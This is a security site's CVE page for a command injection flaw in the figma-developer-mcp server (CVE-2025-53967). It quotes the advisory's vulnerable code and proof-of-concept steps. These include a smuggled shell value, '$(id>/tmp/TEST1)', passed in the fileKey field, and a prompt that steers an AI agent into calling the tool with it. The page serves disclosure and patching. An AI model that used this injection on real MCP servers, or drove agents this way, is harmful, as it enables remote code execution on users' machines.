HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorKeep agent security open: sponsor a project, place a banner, or fund a security initiative.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2025 53967 figma developer mcp vulnerable to command
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright © 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
High · CVSS 7.5CVE-2025-53967GHSA-GXW4-4FC5-9GR5

figma-developer-mcp vulnerable to command injection in get_figma_data toolCVE-2025-53967

Answer in brief

CVE-2025-53967 records a High severity (CVSS 7.5) vulnerability in figma-developer-mcp vulnerable to command injection in get_figma_data tool. The current sources do not mark it as known exploited. The current feed maps figma-developer-mcp (npm). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Sep 30, 2025Updated Oct 8, 2026Source checked Oct 8, 2026First seen by HOL Oct 8, 2026Material review Oct 8, 2026
Upstream Advisory

Key facts

Risk
High · CVSS 7.5
Exploitation
Not marked as known exploited
Affected software
1 mapped package or product
Fix availability
Available

Why this deserves its current priority

CVSS is 7.5. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps figma-developer-mcp (npm). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
figma-developer-mcpnpm>=0 <0.6.30.6.3

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for figma-developer-mcp.
  2. 2Review the reported fix. Update figma-developer-mcp to 0.6.3 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Sep 30, 2025

    Evidence: source:osv:source_dates:source-dates:record
  2. Source modified

    Oct 8, 2026

    Evidence: source:osv:source_dates:source-dates:record
  3. First seen by HOL

    Oct 8, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
Upstream source description

### Summary A command injection vulnerability exists in the `figma-developer-mcp` MCP Server. The vulnerability is caused by the unsanitized use of input parameters within a call to `child_process.exec`, enabling an attacker to inject arbitrary system commands. Successful exploitation can lead to remote code execution under the server process's privileges. The server constructs and executes shell commands using unvalidated user input directly within command-line strings. This introduces the possibility of shell metacharacter injection (`|`, `>`, `&&`, etc.). ### Details The MCP Server exposes tools to perform several figma operations. An MCP Client can be instructed to execute additional actions for example via indirect prompt injection that can lead to command injection by calling vulnerable tools with malicious inputs. Below some example of vulnerable code and different ways to test this vulnerability. ### Vulnerable code The following snippet illustrates the vulnerable code pattern used in the MCP Server’s tooling. ```js // https://github.com/GLips/Figma-Context-MCP/blob/v0.5.2/src/utils/fetch-with-retry.ts#L35 export async function fetchWithRetry<T>(url: string, options: RequestOptions = {}): Promise<T> { try { const response = await fetch(url, options); ... } catch (fetchError: any) { ... const curlHeaders = formatHeadersForCurl(options.headers); ... const curlCommand = `curl -s -S --fail-with-body -L ${curlHeaders.join(" ")} "${url}"`; //<--- ``` #### Using MCP Client IDE 1) Verify the file `/tmp/TEST`1 does **not** exist: ``` cat /tmp/TEST1 cat: /tmp/TEST1: No such file or directory ``` 2) setup your client IDE ```json { "mcpServers": { "Framelink Figma MCP": { "command": "npx", "args": ["-y", "figma-developer-mcp", "--figma-api-key=TEST", "--stdio"] } } } ``` 4) open the chat and enter the following prompt: ``` Get comprehensive Figma file from fileKey="$(id>/tmp/TEST1)" (do not remove any char) - do not call any other tool ``` 5) run the `get_figma_data` tool ```json { "fileKey": "$(id>/tmp/TEST1)" } ``` 6) Confirm that the injected command executed: ``` cat /tmp/TEST1 uid=.... ``` #### Using MCP Inspector 1) Open the MCP Inspector: ``` npx @modelcontextprotocol/inspector ``` 2) In MCP Inspector: - set transport type: `STDIO` - set the `command` to `npx` - set the arguments to `figma-developer-mcp --stdio` - set the `FIGMA_API_KEY` env variable (i.e `TEST`) - click Connect - go to the **Tools** tab and click **List Tools** - select the `get_figma_data` tool 3) Verify the file `/tmp/TEST` does **not** exist: ``` cat /tmp/TEST2 cat: /tmp/TEST: No such file or directory ``` 5) In the **fileKey** field, input: ``` $(id>/tmp/TEST2) ``` - Click **Run Tool** 6) Observe the request being sent: ```json { "method": "tools/call", "params": { "name": "get_figma_data", "arguments": { "fileKey": "$(id>/tmp/TEST2)" }, "_meta": { "progressToken": 0 } } } ``` Output: ```json { "content": [ { "type": "text", "text": "Error fetching file: Failed to make request to Figma API endpoint '/files/$(id>/tmp/TEST2)': Fetch failed with status 404: Not Found" } ], "isError": true } ``` Logs: ``` [INFO] [fetchWithRetry] Executing curl command: curl -s -S --fail-with-body -L -H "X-Figma-Token: test" "https://api.figma.com/v1/files/$(id>/tmp/TEST2)" ``` 7) Confirm that the injected command executed: ``` cat /tmp/TEST2 uid=..... ``` ### Remediation To mitigate this vulnerability, I suggest to avoid using `child_process.exec` with untrusted input. Instead, use a safer API such as [child_process.execFile](https://nodejs.org/api/child_process.html#child_processexecfilefile-args-options-callback), which allows you to pass arguments as a separate array — avoiding shell interpretation entirely. **NOTE: This mitigation—and others like input validation—have been implemented in versions 0.6.3 and above. To fix the issue, make sure you're using a version >=0.6.3.** ### Impact Command Injection / Remote Code Execution (RCE)

Quoted source text, attributed separately from HOL analysis.

Record context

Vulnerability class
Tool Poisoning
EPSS
Not reported
CWE IDs
Not reported
Source
OSV
Source checked
Oct 8, 2026
References
3 linked sources
Open source record